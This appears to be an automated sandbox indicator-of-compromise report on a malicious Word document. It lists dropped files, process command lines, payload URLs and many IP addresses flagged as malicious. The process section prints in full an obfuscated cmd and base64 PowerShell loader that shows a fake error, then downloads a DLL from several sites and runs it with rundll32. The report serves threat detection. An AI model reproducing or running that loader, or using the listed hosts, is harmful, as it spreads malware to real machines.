IOCReport

loading gif

Files

File Path
Type
Category
Malicious
ARCH_25_012021.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Tenetur alias aut sint sequi facilis., Author: Sebastian Melgar, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Jan 25 09:28:00 2021, Last Saved Time/Date: Mon Jan 25 09:28:00 2021, Number of Pages: 1, Number of Words: 5622, Number of Characters: 32047, Security: 8
initial sample
 malicious
C:\Users\user\Kaktksw\An6othh\N49I.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A07E7EB5-D643-47FF-B622-0CF30ED55516}.tmp
data
dropped
 clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E3935BE2-A796-4096-8B6B-C6BCF64E2588}.tmp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\ARCH_25_012021.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:14 2020, mtime=Wed Aug 26 14:08:14 2020, atime=Wed Jan 27 16:30:34 2021, length=175616, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UXL3RQT94R3A0BC61R7X.temp
data
dropped
 clean
C:\Users\user\Desktop\~$CH_25_012021.doc
data
dropped
 clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwBlAG8AJwApACsAKAAnAHAAYQByACcAKwAnAGQAYwAnACkAKwAoACcAcgBhAG4AJwArACcAZQBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAegB5AG4AcQAnACkAKwAnAC0AJwArACcAbAAnACsAKAAnAGkAJwArACcAbgB1ACcAKwAnAHgAJwArACcALQB5AGEAYQB5ACcAKQArACcAZgAvACcAKwAoACcAdwAnACsAJwAvACEAbgAnACkAKwAnAHMAIAAnACsAKAAnAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgACcAKQArACcAbgAnACsAJwBkACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AbQBtAHIAaQBuAGMAJwArACcAcwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGUAdABlAHIAbgBhAGwALQAnACkAKwAoACcAZAAnACsAJwB1AGUAbAAnACkAKwAoACcAaQAnACsAJwBzAHQALQAnACkAKwAoACcAOQBjAHUAJwArACcAcQB2AC8AagAnACkAKwAoACcAeAAnACsAJwBHAFEAagAvACEAJwArACcAbgAnACkAKwAoACcAcwAnACsAJwAgAHcAJwApACsAKAAnAHUAIABkACcAKwAnAGIAIABuAGQAJwArACcAOgAvACcAKQArACgAJwAvADMAJwArACcAbQB1ACcAKwAnAHMAawAnACkAKwAnAGUAdAAnACsAKAAnAGUAZQByACcAKwAnAHMAZQBuAHQALgBuAGUAJwArACcAdAAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwBUAFUAJwArACcAZwBEAC8AIQBuACcAKwAnAHMAIAAnACkAKwAnAHcAdQAnACsAJwAgACcAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcwAnACsAJwBrAGkAbABtAHUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKwAnAHAALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuAC8AJwArACcAaAAnACsAJwBRACcAKQArACgAJwBWAGwAQgAnACsAJwA4AGIALwAnACkAKQAuACIAcgBgAGUAUABsAEEAYABjAEUAIgAoACgAKAAnAG4AcwAnACsAJwAgACcAKQArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAnAG4AZAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEsAMQBpAHUAeAB4AHAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAFQAIgAoACQARAA1ADQAUwAgACsAIAAkAEsAbwAzAGEAYwA2ADMAIAArACAAJABGADAAOABKACkAOwAkAE8AMQA2AFIAPQAoACcAWAA2ACcAKwAnADIAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAZAA1AHMAXwBoAGYAIABpAG4AIAAkAFQAYQAxAHkAcwBwADQAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAHMAeQBTAFQARQBNAC4ATgBlAFQALgB3AEUAQgBDAEwASQBFAG4AdAApAC4AIgBEAE8AdwBOAGAATABgAG8AQQBgAEQARgBJAGwARQAiACgAJABKAGQANQBzAF8AaABmACwAIAAkAFEAZgB4ADEAMAB4AGEAKQA7ACQATAAyADkARAA9ACgAJwBPADYAJwArACcANABIACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGYAeAAxADAAeABhACkALgAiAEwAYABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADQANwAxADIAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUQBmAHgAMQAwAHgAYQAsACgAJwBBACcAKwAoACcAbgB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAHMAYABUAFIAaQBgAE4AZwAiACgAKQA7ACQAQgAyADcAQgA9ACgAKAAnAFcANAAnACsAJwAzACcAKQArACcAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOAAxAFYAPQAoACcASQA2ACcAKwAnADIAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANQA4AEkAPQAoACcATwAzACcAKwAnADUASQAnACkA
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3ACcAKQArACgAJwB1ACAAZAAnACsAJwBiACcAKQArACgAJwAgAG4AJwArACcAZAA6AC8AJwArACcALwAnACkAKwAoACcAbAAnACsAJwBlAG8AJwApACsAKAAnAHAAYQByACcAKwAnAGQAYwAnACkAKwAoACcAcgBhAG4AJwArACcAZQBzACcAKQArACgAJwAuAGMAbwAnACsAJwBtAC8AJwArACcAegB5AG4AcQAnACkAKwAnAC0AJwArACcAbAAnACsAKAAnAGkAJwArACcAbgB1ACcAKwAnAHgAJwArACcALQB5AGEAYQB5ACcAKQArACcAZgAvACcAKwAoACcAdwAnACsAJwAvACEAbgAnACkAKwAnAHMAIAAnACsAKAAnAHcAdQAgACcAKwAnAGQAYgAnACsAJwAgACcAKQArACcAbgAnACsAJwBkACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AbQBtAHIAaQBuAGMAJwArACcAcwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACsAJwAvAGUAdABlAHIAbgBhAGwALQAnACkAKwAoACcAZAAnACsAJwB1AGUAbAAnACkAKwAoACcAaQAnACsAJwBzAHQALQAnACkAKwAoACcAOQBjAHUAJwArACcAcQB2AC8AagAnACkAKwAoACcAeAAnACsAJwBHAFEAagAvACEAJwArACcAbgAnACkAKwAoACcAcwAnACsAJwAgAHcAJwApACsAKAAnAHUAIABkACcAKwAnAGIAIABuAGQAJwArACcAOgAvACcAKQArACgAJwAvADMAJwArACcAbQB1ACcAKwAnAHMAawAnACkAKwAnAGUAdAAnACsAKAAnAGUAZQByACcAKwAnAHMAZQBuAHQALgBuAGUAJwArACcAdAAvACcAKQArACgAJwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwBUAFUAJwArACcAZwBEAC8AIQBuACcAKwAnAHMAIAAnACkAKwAnAHcAdQAnACsAJwAgACcAKwAoACcAZAAnACsAJwBiACAAJwApACsAKAAnAG4AZAAnACsAJwBzACcAKQArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAcwAnACsAJwBrAGkAbABtAHUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB3ACcAKwAnAHAALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuAC8AJwArACcAaAAnACsAJwBRACcAKQArACgAJwBWAGwAQgAnACsAJwA4AGIALwAnACkAKQAuACIAcgBgAGUAUABsAEEAYABjAEUAIgAoACgAKAAnAG4AcwAnACsAJwAgACcAKQArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAnAG4AZAAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAEsAMQBpAHUAeAB4AHAALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAUwBwAGAAbABpAFQAIgAoACQARAA1ADQAUwAgACsAIAAkAEsAbwAzAGEAYwA2ADMAIAArACAAJABGADAAOABKACkAOwAkAE8AMQA2AFIAPQAoACcAWAA2ACcAKwAnADIAVgAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEoAZAA1AHMAXwBoAGYAIABpAG4AIAAkAFQAYQAxAHkAcwBwADQAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAJwArACcAdwAtAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAHMAeQBTAFQARQBNAC4ATgBlAFQALgB3AEUAQgBDAEwASQBFAG4AdAApAC4AIgBEAE8AdwBOAGAATABgAG8AQQBgAEQARgBJAGwARQAiACgAJABKAGQANQBzAF8AaABmACwAIAAkAFEAZgB4ADEAMAB4AGEAKQA7ACQATAAyADkARAA9ACgAJwBPADYAJwArACcANABIACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABRAGYAeAAxADAAeABhACkALgAiAEwAYABlAG4ARwBgAFQAaAAiACAALQBnAGUAIAA0ADQANwAxADIAKQAgAHsAJgAoACcAcgB1AG4AZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUQBmAHgAMQAwAHgAYQAsACgAJwBBACcAKwAoACcAbgB5AFMAdAAnACsAJwByACcAKQArACgAJwBpACcAKwAnAG4AZwAnACkAKQAuACIAVABvAHMAYABUAFIAaQBgAE4AZwAiACgAKQA7ACQAQgAyADcAQgA9ACgAKAAnAFcANAAnACsAJwAzACcAKQArACcAUwAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOAAxAFYAPQAoACcASQA2ACcAKwAnADIAWQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEIANQA4AEkAPQAoACcATwAzACcAKwAnADUASQAnACkA
 malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd',FIxqgRZUp
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omuzql\aridm.cve',PiBVmMpskdW
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omuzql\aridm.cve',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjyrclfl\qwodoyj.whn',CPVO
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjyrclfl\qwodoyj.whn',#1
 malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 3 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://3musketeersent.net/wp-includes/TUgD/
unknown
 malicious
https://skilmu.com/wp-admin/hQVlB8b/
unknown
 malicious
http://jeevanlic.com/wp-content/r8M/
unknown
 malicious
http://dashudance.com/thinkphp/dgs7Jm9/
unknown
 malicious
http://shannared.com
unknown
 malicious
http://shannared.com/content/lhALeS/
192.169.223.13
 malicious
http://mmrincs.com/eternal-duelist-9cuqv/jxGQj/
unknown
 malicious
http://leopardcranes.com/zynq-linux-yaayf/w/
unknown
 malicious
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
 clean
http://www.windows.com/pctv.
unknown
 clean
http://investor.msn.com
unknown
 clean
http://www.msnbc.com/news/ticker.txt
unknown
 clean
http://www.icra.org/vocabulary/.
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
unknown
 clean
http://investor.msn.com/
unknown
 clean
http://www.piriform.com/ccleaner
unknown
 clean
http://www.%s.comPA
unknown
 clean
http://www.piriform.com/ccleanerv
unknown
 clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
 clean
http://www.hotmail.com/oe
unknown
 clean
http://www.piriform.com/
unknown
 clean
There are 12 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
shannared.com
192.169.223.13
 malicious

IPs

IP
Domain
Country
Active
Malicious
200.75.39.254:80
unknown
unknown
unknown
 malicious
192.175.111.212:7080
unknown
unknown
unknown
 malicious
91.233.197.70:80
unknown
unknown
unknown
 malicious
94.23.45.86:7080
unknown
unknown
unknown
 malicious
81.4.105.175:8080
unknown
unknown
unknown
 malicious
93.146.143.191:80
unknown
unknown
unknown
 malicious
93.149.120.214:80
unknown
unknown
unknown
 malicious
212.71.237.140:8080
unknown
unknown
unknown
 malicious
46.101.58.37:8080
unknown
unknown
unknown
 malicious
181.30.61.163:443
unknown
unknown
unknown
 malicious
206.189.232.2:8080
unknown
unknown
unknown
 malicious
181.10.46.92:80
unknown
unknown
unknown
 malicious
213.52.74.198:80
unknown
unknown
unknown
 malicious
87.106.253.248:8080
unknown
unknown
unknown
 malicious
217.160.169.110
unknown
Germany
unknown
 malicious
51.255.203.164
unknown
France
unknown
 malicious
191.223.36.170:80
unknown
unknown
unknown
 malicious
186.177.174.163:80
unknown
unknown
unknown
 malicious
217.13.106.14:8080
unknown
unknown
unknown
 malicious
138.97.60.141:7080
unknown
unknown
unknown
 malicious
201.185.69.28:443
unknown
unknown
unknown
 malicious
45.16.226.117:443
unknown
unknown
unknown
 malicious
82.208.146.142:7080
unknown
unknown
unknown
 malicious
192.169.223.13
unknown
United States
unknown
 malicious
1.226.84.243:8080
unknown
unknown
unknown
 malicious
84.232.229.24
unknown
Romania
unknown
 malicious
70.32.115.157:8080
unknown
unknown
unknown
 malicious
217.160.169.110:8080
unknown
unknown
unknown
 malicious
85.105.239.184:443
unknown
unknown
unknown
 malicious
152.170.79.100:80
unknown
unknown
unknown
 malicious
143.0.85.206:7080
unknown
unknown
unknown
 malicious
51.255.203.164:8080
unknown
unknown
unknown
 malicious
94.176.234.118:443
unknown
unknown
unknown
 malicious
50.28.51.143:8080
unknown
unknown
unknown
 malicious
185.94.252.27:443
unknown
unknown
unknown
 malicious
31.27.59.105:80
unknown
unknown
unknown
 malicious
197.232.36.108:80
unknown
unknown
unknown
 malicious
190.45.24.210:80
unknown
unknown
unknown
 malicious
185.183.16.47:80
unknown
unknown
unknown
 malicious
190.24.243.186:80
unknown
unknown
unknown
 malicious
190.64.88.186:443
unknown
unknown
unknown
 malicious
82.48.39.246:80
unknown
unknown
unknown
 malicious
191.241.233.198:80
unknown
unknown
unknown
 malicious
170.81.48.2:80
unknown
unknown
unknown
 malicious
172.245.248.239:8080
unknown
unknown
unknown
 malicious
154.127.113.242:80
unknown
unknown
unknown
 malicious
95.76.153.115:80
unknown
unknown
unknown
 malicious
211.215.18.93:8080
unknown
unknown
unknown
 malicious
80.249.176.206:80
unknown
unknown
unknown
 malicious
110.39.160.38:443
unknown
unknown
unknown
 malicious
185.183.16.47
unknown
Spain
unknown
 malicious
137.74.106.111:7080
unknown
unknown
unknown
 malicious
5.196.35.138:7080
unknown
unknown
unknown
 malicious
46.43.2.95:8080
unknown
unknown
unknown
 malicious
188.135.15.49:80
unknown
unknown
unknown
 malicious
177.23.7.151:80
unknown
unknown
unknown
 malicious
68.183.190.199:8080
unknown
unknown
unknown
 malicious
201.48.121.65:443
unknown
unknown
unknown
 malicious
105.209.235.113:8080
unknown
unknown
unknown
 malicious
94.126.8.1:80
unknown
unknown
unknown
 malicious
60.93.23.51:80
unknown
unknown
unknown
 malicious
62.84.75.50:80
unknown
unknown
unknown
 malicious
190.247.139.101:80
unknown
unknown
unknown
 malicious
138.97.60.140:8080
unknown
unknown
unknown
 malicious
177.85.167.10:80
unknown
unknown
unknown
 malicious
172.104.169.32:8080
unknown
unknown
unknown
 malicious
51.255.165.160:8080
unknown
unknown
unknown
 malicious
209.33.120.130:80
unknown
unknown
unknown
 malicious
149.202.72.142:7080
unknown
unknown
unknown
 malicious
12.163.208.58:80
unknown
unknown
unknown
 malicious
84.232.229.24:80
unknown
unknown
unknown
 malicious
81.17.93.134:80
unknown
unknown
unknown
 malicious
152.231.89.226:80
unknown
unknown
unknown
 malicious
87.106.46.107:8080
unknown
unknown
unknown
 malicious
78.206.229.130:80
unknown
unknown
unknown
 malicious
202.134.4.210:7080
unknown
unknown
unknown
 malicious
51.38.124.206:80
unknown
unknown
unknown
 malicious
187.162.248.237:80
unknown
unknown
unknown
 malicious
152.169.22.67:80
unknown
unknown
unknown
 malicious
12.162.84.2:8080
unknown
unknown
unknown
 malicious
190.162.232.138:80
unknown
unknown
unknown
 malicious
122.201.23.45:443
unknown
unknown
unknown
 malicious
109.101.137.162:8080
unknown
unknown
unknown
 malicious
85.214.26.7:8080
unknown
unknown
unknown
 malicious
116.125.120.88:443
unknown
unknown
unknown
 malicious
188.225.32.231:7080
unknown
unknown
unknown
 malicious
104.130.154.83:7080
unknown
unknown
unknown
 malicious
190.251.216.100:80
unknown
unknown
unknown
 malicious
104.131.41.185:8080
unknown
unknown
unknown
 malicious
80.15.100.37:80
unknown
unknown
unknown
 malicious
81.215.230.173:443
unknown
unknown
unknown
 malicious
